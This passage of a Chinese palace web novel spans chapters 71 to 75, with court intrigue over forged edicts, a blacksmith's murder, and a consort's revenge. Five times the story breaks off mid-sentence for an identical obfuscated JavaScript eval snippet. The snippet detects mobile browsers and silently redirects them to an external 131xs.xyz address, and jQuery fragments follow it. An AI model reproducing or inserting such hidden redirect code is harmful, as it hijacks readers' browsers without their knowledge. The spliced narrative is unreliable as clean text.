“你凭何说孤母妃是启东叛徒?你把话给孤说清楚。” 铁匠怒目而视,“凭什么?凭当初她一封信,将少主骗至京城,死于万箭穿心之下,你说凭什么?” “老家主和少主、乃至近乎八十万启东军,为了她宇文少蕊的皇后之位,几乎尽数陪葬,你说凭何?” “狗皇帝,说好的保少主一世无忧,结果呢?” 夜亦天双手捏成了拳头,小小的身子气的发抖,“你放肆,大放厥词,孤要诛你九族。” “哈哈哈,你看,何须我证明?你的做法已经替我证明了。”铁匠丝毫不慌,仿佛下一瞬就要甘心赴死。 一句话,怼的夜亦天是哑口无言。 就见铁匠给画像上了三炷香,然后从香炉底下拿出了一封信,甩给夜亦天,“睁大你的眼睛好好看看,铁证如山,盖了凤印的,你可还要狡辩?” 如此反转,让铁蛋一时难以面对,他退无可退,抵在墙上目瞪口呆。 第71章天子之剑 夜亦天颤颤巍巍的手打开了那封折叠的书信,上面染血的字迹,同他前些日子发现的母后遗迹一模一样。 簪花小楷。 落款处的凤印是那样的刺眼。 “吾弟,速来救我。”重复了三遍的这句话,无一不在证明着铁匠所言非虚。 “此信只是求救,去也不去全是舅父做主。 一封信,就说孤的母后是启东叛徒,未免也太儿戏了。” 夜亦天将信拍在了桌子上。 沈安安和夜亦德看着剑拔**张的两人,一时间也插不上嘴,只在一旁静静听着。 “夫人过世的早,少主是她养育大的,她就是捏准了少主对她那份‘长姐如母’的情谊。 这才以生你有性命之忧为由,将少主诱骗至京,如若不是这等要紧的理由,少主怎会孤身一人前往京城?” 铁匠声音含着愤恨,怒目瞪着夜亦天,看见他就仿佛看见了昔日仇人。 不等夜亦天反驳,夜亦德直愣愣的开口反问:“要是先皇后真的那么在意后位,为什么准我生母代掌皇后之权?” 就见他打开了脖子上戴着的、成人手掌大小、一指厚的金锁。 三封信,赫然出现在众人眼前。 沈安安看到金灿灿的那一封,“哇!!!” 她伸手就要去拿出来看看,“这信还有金帛的啊?” 手刚碰到金锁,夜亦德胖乎乎的小手拍在她的手背上,“这个不是这时候看的母妃。” 他翻出最下面那一张,然后将金锁合上,“这张能看,这是给你的母妃。” “给我的?”沈安安摊在桌子上,打开的信件上赫然写着:【懿旨:‘朕绍膺鸿图,统御六宫,仰承天命,俯顺舆情。 先皇第二子夜亦德,幼失怙恃,孤露无依。 兹有荣贵妃沈氏,仁恕宽柔、容止严整、慈训克勤、堪为内则之表。 特命皇子夜亦德,自今日始,归其名下,以承慈训,以光宗祧。 一应玉牒、宗人府记注,悉从更定。 尔其恪守母仪,勤加教诲,俾皇子克成令德,永绥福履。 钦哉! 轩辕乾武元年正月一日 钤皇后宝玺。】 落款处盖着凤印。 夜亦德站在桌边,开口道:“这还不好办吗?既然老人家你说的和我们知道的不一样。 那就对比一下两份懿旨的凤印,横竖我这封不会是假的。” 凤印现在都还在他生母的宫里呢,等回京后,是要拿给母妃的。 “有这好东西你也不早拿给我,还叫我在宫里被人欺负。”沈安安对懿旨没什么兴趣,她只对凤印感兴趣。 铁匠和夜亦天全情投入,仔细分辨。 “剩下的不关我事了吧?”夜亦德问着,但也没人理他。 他就把铁蛋拉过来,两人坐在一起继续吃饭了。 他递给铁蛋,铁蛋也没心情吃。 铁蛋也想凑上前去看一看,但爷爷没发话,他终究是没敢。 夜亦德不提起吃饭,沈安安都要忘了这茬。 害,反正她也分不出真真假假,那就让见过的人去一辩真伪吧,填饱肚子才是要紧。 就这么过了半个时辰。 铁匠和夜亦天你看看我,我看看你。 夜亦天此时也从怀中掏出一封信,递给了铁匠,“或许你所了解的,一直以来都不是真相。” 铁匠接过信,仔仔细细的看着。 宇文少蕊入宫前,一直都执掌宇文家内宅大权。 启东军的粮饷也好,府上的一应花销、近卫的饷银,每个月都要拿着她手书的领条,去到库房领的。 铁匠认得宇文少蕊的字。 这封信上千叮咛万嘱咐不让少主入京,还写明拼死诞下太子,只为保少主无虞…… “这……”铁匠将三封放在一起。 陈年旧纸泛着淡淡木屑味,但其中又有一股淡淡的、几乎难以发觉的香味。 铁匠猛的吸了吸鼻子,弯腰低头凑近去闻,惊觉这股淡香是夜亦德刚才拿出来的那封懿旨上的。 拿起懿旨,仔细一闻,他这才想起来,这味道同宇文少蕊在宇文府时用的印泥味道一样。 “这份是真的。”铁匠高举着手中懿旨,茫然的看看夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446803|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦天,又看看沈安安。 目光最终落在宇文少羽的画像上,一张沧桑的、满是皱纹的脸上,开始涌现悔意。 这么多年,他都怨错人了吗?他怎么对得起少主啊!!! 夜亦德冷不丁开口,“宫里现在用的印泥,都是用先皇后的配方调制的。 可惜我没有圣旨,不然让老人家你闻闻。” 沈安安也吃饱喝足了,擦了擦手,“这是真相大白了?” 铁匠没回她,而是问着夜亦天,“那我手中这封从京城送出来的懿旨,又是哪里来的?” 夜亦天小小的脸蛋上是冷峻的表情,“自然是伪造的。” 夜亦德:“咳咳咳。” 沈安安给他拍着背,“你怎么了?吃饱了就不要再吃了。” 夜亦德摇了摇头,同夜亦天对视了一眼。 兄弟俩此时都心知肚明,在那个时期,敢做且能仿造出凤印的,也只有他们的皇叔了。 只是两个小小的人儿,谁也不敢说。 铁匠沉吟了好一会儿,将手中东西原封不动的放回了桌子上。 大家默契的结束了这个话题,铁匠又如何猜不到,当初是谁伪造的这封懿旨? 只是又能如何呢? 不重要了,昔日无人能撼动这轩辕的天,今日也一样。 “我去打枪了。”铁匠说完出了屋子。 夜亦德咽下一口,“又去打枪了?那我也去了。” 属于沈安安的那一封懿旨,夜亦天递给了她。 另外两封,他则是自己收好。 铁匠给的这封,日后就是他拨乱反正最有力的证据。 他不光要为母族正名,还要将这篡位之徒,斩于他的天子剑下。 夜亦天想了想,转身出了门,冲正在出力气的一大一小道,“孤也要一把剑,一把天子之剑。” 夜亦德拉着呼呼的风箱,回头看向他道:“啊???” 铁匠充耳不闻,一心铸枪。 无痛当娘的沈安安,操的心比怀胎十月的亲娘还要多。 这亦天什么都好,唯独就是不识时务这一点,唉,造孽啊。 第72章 小鬼上门、目中无人 沈安安将他抱回屋中,抱着他坐在自己腿上,“睡会儿吧,睡会儿吧。 一切等你长大了再说,你父皇都被他耍的团团转,你能干个啥? 谋定而后动,要蓄势待发……” 夜亦天打断她,“那孤也要做些什么吧,难道就时时刻刻这样等着?” “你现在要做的就是睡觉,身强体壮了,才能去做你想做的事儿。”沈安安也不管他愿不愿意,将他横着抱在腿上,轻轻拍着他的背,哄他入睡。 沈安安想着,先将亦天哄睡着,再去把亦德哄睡着,然后她再去帮忙。 小孩子不睡觉怎么行? 不料夜亦天刚阖上眼睛,一群官兵冒着风雪而至。 “我儿呢?”恶少父亲厉声问着铁匠。 与此同时,铁匠铺子被围的水泄不通。 铁匠也不予理会,继续打枪。 “大胆刁民,黄老爷问你话呢,还不速速回话?”县令抬起一只手,指向铁匠,颐指气使着。 他虽是这由铁县的父母官,但跟在黄老板的身后,看上去卑微的像一条狗。 也是,普天之下,谁敢惹首辅大人的救命恩人? 莫说在这由铁县了,便是整个轩辕,黄老板想横着走,没人敢拦路。 也没等铁匠回话,房门从里面打开。 就见沈安安一手提拎着一个,将一具具尸体抛在了雪地里,“来的正好,带走。” 横竖是藏不住了,放在屋子里也不是个事儿。 既然躲不掉,那就面对吧,怎么说她现在都是个贵妃,亦天虽然不得宠,但亦德得宠啊,这捅上天谁怕谁还说不定呢。 首辅大人又怎么了?还能有叔侄亲? 黄老板看见自己的儿子,邦硬的被丢在雪地里,瞬间疯狂。 “儿啊!我的命根子,我只有你一个儿啊。”黄老板扑过去,抱着恶少的尸体,老泪纵横。 不过很快,一抹阴狠从他眼中闪过,“县令大人,**偿命,你还不为我做主吗?” “我要他们都死,要将他们剁成肉泥撒在我儿坟前,给他泄愤。” 县令赶紧安慰:“好说好说,我保证,他们一个都跑不掉,都得给黄公子偿命。” “你们,还愣着干什么?给本县令抓住他们,就地正法。” “啪”县令话音刚落,一个巴掌就呼在了他的脸上。 夜亦德跳起来,一把抓住他的衣领,迫使他弯下腰低了头。 夜亦德将自己的令牌掏出来,“狗奴才,睁大你的狗眼看看清楚。” 县令不看还好,这一看膝盖就发软,扑通一声跪在了雪地里。 刚想围上来的衙差们,被县令呵斥着:“一群瞎了狗眼的东西,见到福王殿下还不快跪拜。” 衙差们一脸懵逼,福王?陛下什么时候封王了? 他们这些小喽啰自是不知。 但这由铁县令,跟魏大贤颇有渊源,自是知道陛下封福王一事。 “这真是卑职有眼无珠,冲撞了殿下,卑职该死。”县令跪着抬眸看向夜亦德,赔笑道。 继而,他又转身看向一旁哭的撕心裂肺的黄老板,劝道:“黄老爷,令郎能死在福王殿下手里,也算是光宗耀祖了。 此乃福气,大福气,黄老爷该高兴才是,快来拜见福王殿下吧。” 黄老板气的身子都在发抖,他刷一下起身,指着县令喷唾沫,“狗官,你不怕首辅大人追究下来,你性命难保吗? 我管他什么王爷,**就得偿命,天王老子来了都要给我死。” 县令连忙把脑袋扭正,这黄老板是离死不远了,还是赶紧跟他划清界限。 这昏了头的老家伙,莫不是以为搭上首辅大人,这天下都是他的了吧? 臣子和皇亲贵胄,哪个权力更大县令还是分得清的,这天下是姓夜的,可不会变成姓魏的。 傻不懵的。 县令衡量完利害,冲着黄老板就道:“大胆刁民,平时你行凶作恶也就罢了,现在在福王面前,你还不知死活。 速速给福王殿下跪下,还来得及。” 黄老板哪里肯?此时已经被冲昏了头脑,“你们不动手,我亲自动手,我儿子的公道我来讨。” 沈安安看着挽袖子的黄老板就觉得好笑。 亦德本就力大如牛,别说他现在还是吃饱的状态,这老头现在冲上去,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446804|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去见太奶,也得一身老骨头散架吧。 兴许是这黄老板命不该绝。 就在他脑袋要撞上夜亦德的一瞬间,县令从地上爬了起来,双臂张的开开的,蹲在夜亦德前面。 “保护殿下。” 衙差们闻言,三两下就擒住了黄老板。 见县老爷挥了挥手,他们也是动作麻利,连人带尸体就往县衙回。 县令扶正了官帽,毕恭毕敬的冲夜亦德道:“福王殿下,卑职叨扰了,误会误会都是误会。 是个美丽的误会,那黄老板定是丧子心痛,给痛成失心疯了,殿下莫要与他计较。” 夜亦德言简意赅的吐出一个字,“滚。” 县令拱手,“是是是。” “站住。”夜亦德稚嫩的声音响着。 县令顿住脚步,回身看他,眼神里都是疑惑。 “我叫你滚。”夜亦德强调道。 县令当即就滚在了地上,“是是是,卑职这就给殿下滚。” 厚厚的雪地里,县令把自己滚成了一个雪球。 可谓是蜗牛爬的速度,好半天了,县令才滚的稍微远些了。 沈安安刚把夜亦德抱起来,正要带他去睡觉。 一道熟悉的声音传了来,“娘娘、殿下,我可算是找到你们了。” 一大一小循声看去,就见王坡在雪地里像条蚯蚓一样蠕动着。 “哎呀。”沈安安都忍不住的发出感慨。 夜亦德被王坡逗的呵呵笑,“母妃,他们这一天天的怎么都这么精彩? 我甚至都想赏他们了。” 他话音刚落,王坡也爬到了他们面前。 这王坡会来事儿,人都快冻**病**,还举起手拱手作揖,脑子倒是格外清醒。 “那就求殿下赏草民一条命吧。”他掉下来的眼泪,在极度寒冷的天气下,形成了两根细细的冰棍。 尤其是鼻涕那两条,格外显眼。 一大一小都呲着牙。 “这才一晚上不见,怎么搞成了这样?”沈安安问着。 王坡奋力的爬到熔炉前,借着火暖着身子,“现在不是说这个的时候,快请郎中。” 第73章价值 沈安安望着茫茫大雪,“这冰天雪地的,我上哪儿去给你请郎中?” 王坡可怜巴巴的望着夜亦德,至于沈安安的话,他全当自己没听见。 他举起两只冻僵了的手,像只哈巴狗似的不停晃着,“殿下,难道你就真的狠心见死不救?小人的命也是命,你就当可怜路边的阿猫阿狗了。” 王坡是声泪俱下。 夜亦德垂眸看着他,“那你证明你不是个废物,皇叔说废物不配活着。” 沈安安:“啧,又来。” 铁匠打铁的动作一顿,但也就片刻而已,又继续了。 天家本就无情。 夜亦德这话,倒是让铁匠警醒了,先不说口头保证可不可信,就算福王说到做到,也不能保证他的后代子孙也能这般。 所以,价值才是一个人保命的要紧,他得想办法让自己的孙儿有价值。 王坡招了招手,“殿下过来,我悄悄跟你说。” 沈安安和夜亦德同时凑了过去,一大一小都把耳朵送到了他嘴边。 好在定国侯天天让人给他漱口,现在他不口臭了。 王坡言简意赅一个字:“墓。” 夜亦德和沈安安面面相觑一下。 小小的人儿疑惑道:“这有什么价值?” “郑皇后和当今陛下抢的那个墓的秘密。”王坡眼瞅着两人又要走,忙道。 “还不懂吗?金子,银子,珠宝,这些要不要?”王坡简单明了道。 这次,两人止住了所有动作,异口同声问着:“在哪儿?” 王坡也是松了一口气,“这你不得先救我?” 沈安安拎着他的衣领,将人拎进了屋里。 铁蛋烧热的炕,王坡直接爬了上去,抖落掉被风雪弄湿的外衣,包着被子取暖。 “快……快找郎中啊。”王坡催促着。 这活儿自然落在沈安安身上。 她跟铁匠询问了就近的医馆,抬步就去找人。 有钱好办事,郎中顶着风雪带了药箱来给人瞧病。 施了针、喂了药,王坡才安稳的睡了过去。 一夜未睡的夜亦德,也是困的不行了,爬上炕不一会儿就睡着了。 沈安安送走了郎中,便帮铁匠一起打枪了。 这天说不得什么时候就放晴了,还是赶紧把枪打出来吧,定国侯可不会为了一杆枪就延误赶路。 县衙里。 县令给黄老板奉上一杯茶。 “哼。”黄老板扭过头,不予理会。 县令吐着苦水,“黄老爷哎,你也得体谅体谅我不是? 他们一个个又是王爷又是娘娘的,我就一小小县令,我也惹不起啊。 再说了,我也要为手底下的人考虑不是?那小王爷说**就**,我不能拿整个县衙的人去冒险啊。” 黄老板一甩袖子,怒声质问着:“那我儿子就白**?” 他一把揪住县令的衣领,“你可没少收我的好处,现在我不好过,你也别想好过。” 县令双手握着黄老板的手腕,“别生气别生气,我这不是正要给黄老爷出法子吗? 我治不了他们,不代表别人也治不了他们。” 黄老板松了松手,“你且说说,谁?” 县令在旁边的椅子上坐下来,“定国侯啊。” “黄老板你跟首辅大人交往颇深,应当知道,这定国侯乃是首辅大人的拜把子兄弟。 两人情同手足,你是首辅大人的恩人,自然也是定国侯的恩人。” 黄老板听的心里舒畅,县令这话说的相当在理。 可是,他上哪儿去找定国侯? “哼,我自然知晓,可那定国侯常居京中……” “唉~~”县令打断他的话,“巧了这不是,定国侯就在咱由铁县,此时就住在风莫停客栈里。” 正是因为定国侯来了,县令才相信夜亦德和沈安安的身份,当然了,那枚令牌也是毋庸置疑的。 “哼,不早说。”黄老板当即起身离开。 县令看着黄老板愤愤离开的背影,摇着头自言自语,“说你是傻的你还不信,你找了又能如何? 不管喽,反正与本官是没有关系了。” 要不是看在他和首辅大人关系的份上,就是赋税这一条,都足够自己整死他了。 午正两刻。 黄老板在风莫停客栈,求见定国侯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446805|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “侯爷,楼下有一自称是首辅大人恩人的人求见,姓黄。”一名地网隔着门汇报着。 赵小高闻言,倒是想起了魏大贤曾跟他说过,这由铁县有一人,曾对他有过一饭之恩。 “带他上来。”赵小高吩咐着。 “是。”地网应了一声,转身去到楼下,将黄老板带了来。 “草民黄大葱拜见侯爷,还请侯爷替草民做主。”黄大葱结结实实的跪在地上,给赵小高磕头。 他本就是一介草芥,全家都没读过什么书,父母觉得大葱好养活,就给他取名大葱。 后来也是因为魏大贤,他家的日子才慢慢好起来,甚至成为一方豪绅。 赵小高抿了一口酒,“起来吧,坐下慢慢说。” 赵小高虽平时行事傲慢,目中无人,但眼前毕竟是自己好兄弟的救命恩人,他不免态度温和些了。 黄大葱毕竟是有求于人,虽然听话起身了,但不敢跟定国侯同桌而坐。 他恭恭敬敬的将事情始末一五一十的告知。 老泪纵横的央求着:“请侯爷替草民儿子报仇雪恨。” 赵小高都听笑了。 简直滑天下之大稽,居然要皇子给一介贱民偿命。 沈安安和太子就不说了,二殿下眼下是陛下最宠爱的皇子,别说只是杀了他儿子,就算是杀了他全家,自己的好兄弟魏大贤也不敢放个屁吧。 赵小高忽地站起身,摁住黄大葱的肩膀,让他坐在了椅子上。 他边给黄大葱倒酒,边说道:“别忘了自己的身份,这些年得大贤庇佑,你也过着神仙一般的日子吧? 本侯瞧你龙精虎猛的,儿子嘛,没了再生便是。 若真是生不出,就从外面抱一个回去,养大了还是你的孝子孝孙,你觉得如何?” 黄大葱当然不敢让王爷娘娘给他儿子偿命,但那铁匠和其孙子,死不足惜。 黄大葱赶忙跪下,解释着:“侯爷误会草民的意思了,草民自是不敢冒犯福王殿下。 千错万错,都是那老铁匠一家的错,草民只是想让他们爷孙偿命。” 赵小高摆了摆手,“这有何难?我们走后,任你处置,本侯保你无事。” 第74章画里乾坤 沈安安对打造兵器十分熟络,且她力气又大。 有了她的帮忙,铁匠也能缓一口气了。 一晃就是两天。 一杆通体乌黑的**,经过无数次的淬炼,终于握在了沈安安的手上。 放晴的天,当头的日头,晒的原本厚厚的雪地融化了许多。 **上手的一瞬间,沈安安便按捺不住,耍的那叫一个虎虎生风。 “好枪。”收了枪,沈安安笑颜如花的夸赞着。 铁匠没想到她居然有这样的身手。 夜亦德在一旁鼓掌呐喊,嚷嚷着:“母妃,教我,教我。” 王坡也狂拍马屁。 沈安安单手拿枪,来到夜亦德跟前儿,摸着他的小脸蛋,“好,以后慢慢教你。” 夜亦天视线从手中书本上挪开,望着沈安安道:“枪打好了,天也晴了,赶紧回客栈收拾一下出发吧。” 夜亦德闻言,扭头冲屋子里叫着:“铁蛋,走了。” 铁蛋也早收拾好了包袱,呆呆的看着屋中,满目都是不舍。 虽说铁匠打枪不要银钱,但沈安安也没真打算一分不给。 她从夜亦德怀中掏出那张银票,递了过去。 铁匠不肯收。 他道:“劳烦贵人稍候,我跟孙儿交代两句可好?” 沈安安点了点头,“无妨,我们在外头等着。” 爷孙俩要说体己话,沈安安便将两小只和王坡带的离远了些。 铁匠将房门关上,从挂中堂的地方将宇文少羽那副画像拿下来。 “你也算有了去处,这幅画留给你反而会害了你。” 铁匠说着将画像铺在了桌子上,就见他拿起镰刀,将画像割开。 铁蛋跪拜了这么多年,竟然不知这画像里还藏了一封信。 他接住爷爷款款递过来的信。 “切记,无论哪位皇子日后登基,你都可凭借此信、以及信中提及之物,换一世前程。 你得擦亮眼睛,选对了那位真命天子,否则,这将不再是你安身立命的价值。”铁匠嘱咐着。 铁蛋将信揣进怀里。 看着爷爷烧掉了跪拜多年的那副画像。 铁蛋不解的问着:“爷爷,那为何你不用?” 当今陛下刚登基没多久,若是爷爷用了,岂不是也能换来荣华富贵。 “所谓从龙之功,无非两种情况下才会有,一则谋权篡位,二则平定乱世。 当今陛下荣登皇位,实至名归,这东西在我手里,就成了催命符。” “你要饱读诗书,勤加练武,寻到机会,拜到太子麾下。 福王生性纯善,太讲义气,难成大事,当初少主若是……唉,不提也罢。 总之,你要记住我说的话,天家都是无情的,你要时时刻刻给自己留好后路。 还有,你不叫铁蛋,你叫宇文起,若他日一朝得势,定要恢复本姓,光耀门楣。” 铁蛋跪在他前面,“孙儿记下了。” “爷爷,你跟我一起走吧,这两日孙儿跟福王殿下相处的不错,他定是愿意带上你一起的。” “孙儿不想以后没有爷爷。” 铁匠将铁蛋扶起来,“我若不死,上一辈的恩怨就会延续到你们这一辈。 我要你干干净净,摆脱污名,待将来有机会立下赫赫战功,也能堂堂正正做人。” “去吧,忘了我,从此以后,你就是个孤儿。” “爷爷。”铁蛋哭着叫着。 铁匠松开他,厉声呵斥着他出了房门。 铁蛋一步三回头,挪到了夜亦德身旁。 铁匠穿好了衣衫,也打算离开这里。 沈安安道:“老人家,要不我们同行吧。” 铁匠肩膀上搭着破布包袱,“不必了,身子虽老了,但身手还在。 多谢贵人好意,我就不相送了。” 夜亦德从沈安安手中抽了那张银票,跑过去塞进了铁匠手中,“老人家,拿着吧,就当你一路上的盘缠了。 你可前往西南,这银票足够你安身立命了,待我弱冠之年,去到西南,就让你们爷孙团聚。” 铁匠看着小小的人儿,仿若看着小时候的少主。 他抬起的手,终究是没去拍夜亦德的肩膀。 “好,你们走吧。”铁匠收了那张银票,省的他们再耽误时间。 铁蛋听到爷爷要去西南,心里也舒服多了,幻想着和爷爷再次见面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446806|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离别的悲伤也消了许多。 沈安安带着三个小孩和王坡,往客栈而去。 她边走边挥着手同铁匠告别,“老人家,多谢了,你且放心,不会让你孙儿吃苦的。” 铁匠在他们相反的方向,朗声应着:“好,我信你。” 他回眸看着夜亦德欢快的身影,心中叹息一声:‘唉,只希望他不是下一个少主。’ 沈安安肩膀上扛着枪,在客栈门口又忍不住耍了一番。 “日后有枪在手,我就问,还有谁?” “还有谁?” 沈安安意气风发的单手拎着枪,有意无意的指着赵小高,暗示着,你来啊,你过来啊! 赵小高冷着脸,大意了。 倒是没想到这由铁县,还能有这样的好东西。 就在此时,王坡牵着枭龙,站在了沈安安身后,“娘娘,奴才把马给你牵来了。” 赵小高瞥了一眼王坡,原来先前他做的那些,都是为了戒掉五石散,倒是个人才。 罢了,回京再收拾他,跟着正好。 赵小高此时并未理会王坡,号令着队伍出发。 “哎哎哎,还没吃呢,要走你先走,反正我要吃饱了再走。”沈安安冲着马背上的赵小高道。 “我也要吃。”夜亦德专程冲着赵小高喊了一声。 然后一行五人,大摇大摆的进了客栈。 赵小高可以不管其他人,但不能不管夜亦德。 无奈,他只能和队伍在客栈门口等着。 沈安安又是打包干粮又是要上好的菜,这一吃就吃了一个时辰。 赵小高本来就不爽了,沈安安还挥手示意掌柜的,“去,找侯爷结账去吧。” 她自己跟个没事儿人一样,骑上了马背。 她还给王坡买了一匹马,让他带着铁蛋。 有了依仗,王坡很是嘚瑟,贱兮兮的冲赵小高道:“侯爷,破费了。” 赵小高忍的牙痒,就让他先嘚瑟吧,回京有他受的。 赵小高从怀中掏出两锭银子,丢给了掌柜的。 然后他一扬马鞭,“出发。” 地上的积雪融化的差不多了,队伍浩浩荡荡,往由铁县城外飞驰而去。 第75章找死 冰雪消融时,总是格外的冷,明明已经快打春了,冷起来像数九寒天。 也正是因为如此,马队的行进速度放慢了许多。 若是将两位皇子冻病了,只怕是不能赶在陛下之前抵达青州了。 三刻钟后,一行人抵达由铁县城门。 三米高的城门上,一根铁链拴着一具尸体,高高挂着被太阳暴晒。 最先出声的,是跟王坡同骑一匹马的铁蛋。 “爷爷。” 这一声,撕心裂肺。 沈安安“吁”一声,勒住了马缰绳。 枭龙原地踢腾了两下马蹄,也朝那吊起来的尸体看去。 被沈安安护在大氅下的两小只,脑袋伸了出来。 同铁匠相处的三天里,大家多多少少都同他有了些感情。 夜亦天眸子里染上悲戚,毕竟是他母族之人,于他而言,这又何尝不是一种亲人离世? 罕见的,夜亦天冲沈安安说:“绝不能放过姓黄那恶徒。” 夜亦德已经溜下了马,跑去安慰铁蛋了。 赵小高见状也是一愣,不是说好了等他们离开吗? “草民代由铁县的百姓,恭送娘娘、恭送王爷、恭送侯爷。” 城门之上,站着的黄大葱有恃无恐的喊着。 过分的是,他身旁还站着打死铁匠的那些手下,个个身染鲜血。 赵小高简直没眼看,人要作死的时候,是拦都拦不住。 这蠢货把人杀了也就罢了,还非要亲自赶来显摆,简直找死。 沈安安冷眸睨着黄大葱,声音里听不出任何情绪,“人是你杀的?” 黄大葱冷笑一声,“**偿命,天经地义,侯爷首肯,我这才奉命诛杀此贼。” “既然小贱种已经跟了王爷,那草民就看在王爷的几分薄面上,饶他一条贱命。” 王坡看着黄大葱像看傻子一样,这真是个脑回路清奇的。 沈安安摸了摸挂在枭龙背上的**,本来想拿黄大葱祭枪的,但一细想,此等恶徒,还不配。 她翻身下马,将马缰绳递到了夜亦天手中,“你且先出城。” 说罢,沈安安轻轻在枭龙屁股上拍了一巴掌。 枭龙不紧不慢的驮着夜亦天往城门外去。 王坡也听见沈安安的话,把夜亦德拎上了马背,在铁蛋的哭声中,他们出了城。 赵小高也是悠哉悠哉的往城门外去,管不了的事儿就得放手。 沈安安一跃上了城门。 赫然出现在黄大葱面前,吓的他连连后退了几步。 “侯爷……” 黄大葱话未说完,沈安安已经伸出手捏住了他的脖子。 他惊恐的和沈安安对视,求饶的话卡在嗓子眼里。 他后悔了,窒息感慢慢吞噬着他的理智。 沈安安并没有迅速下**,而是捏着他的脖子,让他面对着赵小高的背影。 这种生的希望就在眼前,却不能出声呼救的绝望,和死神逼近的恐惧,让人能在短时间里产生巨大的痛苦。 “恶,天理不容!!!”沈安安冷眸盯着赵小高的背影,“咔嚓”一声,捏断了黄大葱的脖子。 那几个打手见状,纷纷要四下逃命。 “饶命啊。” “娘娘饶命。” 他们的求饶声,淹没在了一声声脖子断裂的“咔嚓”声里。 远远躲在暗处的县令,劫后余生道:“幸好本官聪明,他借人的时候没给,要不然,本官和你们都难逃一死。” “**也好,黄大葱没享完的福就让我来享吧。 都还愣着干什么?抄家,美妾送到我府上,金银财宝、房契地契,一个都别给我落下。” 县令转身要走的时候,忽觉耳边一阵劲风。 眨眼的瞬间,沈安安已经站在了他面前。 “扑通”一声。 县令跪下的速度比他眨眼的速度都快,“娘娘。” 就见沈安安从袖中掏出一锭银子,递给他:“劳烦,帮我厚葬铁匠。” 县令举起的手做投降状,“不敢让娘娘破费,卑职定会将人风光大葬。 就埋在黄家老宅怎么样?早晚三炷香,让黄家老祖宗都给他赔罪。” 沈安安把银子丢在他面前的地上,“办好就行。” 县令跪在地上,恭送沈安安离开。 沈安安脚程快,有轻功加持,她很快便追上了赵小高他们。 …… 与此同时,离京城最近的交县。 夜不群的御驾刚刚抵达。 此处已有春意,不似由铁县那般冰天雪地。 迎春花开的灿烂,生机昂扬的,看着就让人赏心悦目。 此番去青州的路线,都是魏大贤规划好的,沿途会经过哪里?要在哪里歇息?途中用几天时间赶路……全都在他的计划之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446807|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既不能耽误了救治皇后,也不能让陛下和皇后遭受颠簸之苦。 重走这条路,夜不群却感慨良多。 看着繁华的交县,他不免心中欣慰,轩辕在他的管理之下,终于开始蒸蒸日上了。 军事是第一、民生也没落后,于一个帝王而言,这真是能够载入史册的。 夜不群想着那些历史上有千秋之功的明君,忽觉得,自己会是下一个在史书上留下浓墨重彩一笔的千古明君。 辇车里,楚妃楚舒茗陪伴在侧。 她给夜不群斟了一杯酒。 恰逢夜不群心情大好,不免同她多说几句。 “等返程的时候,皇后看到这太平盛世,定也会如陛下这般欣慰。”楚舒茗一语中的。 这也是夜不群带她来一路上照顾皇后的原因,她识趣,最会给人解闷儿了。 皇后醒来时,身边需要这样一个人,给她说说她昏迷期间发生的事情。 这话打开了夜不群的话匣子,他让楚妃也坐下来,聊起了往昔。 “犹记得八岁时,朕陪同先皇一起去西天城捉拿郑婉婉,路过这里时,到处都还是茅草屋,房子都是土的。” 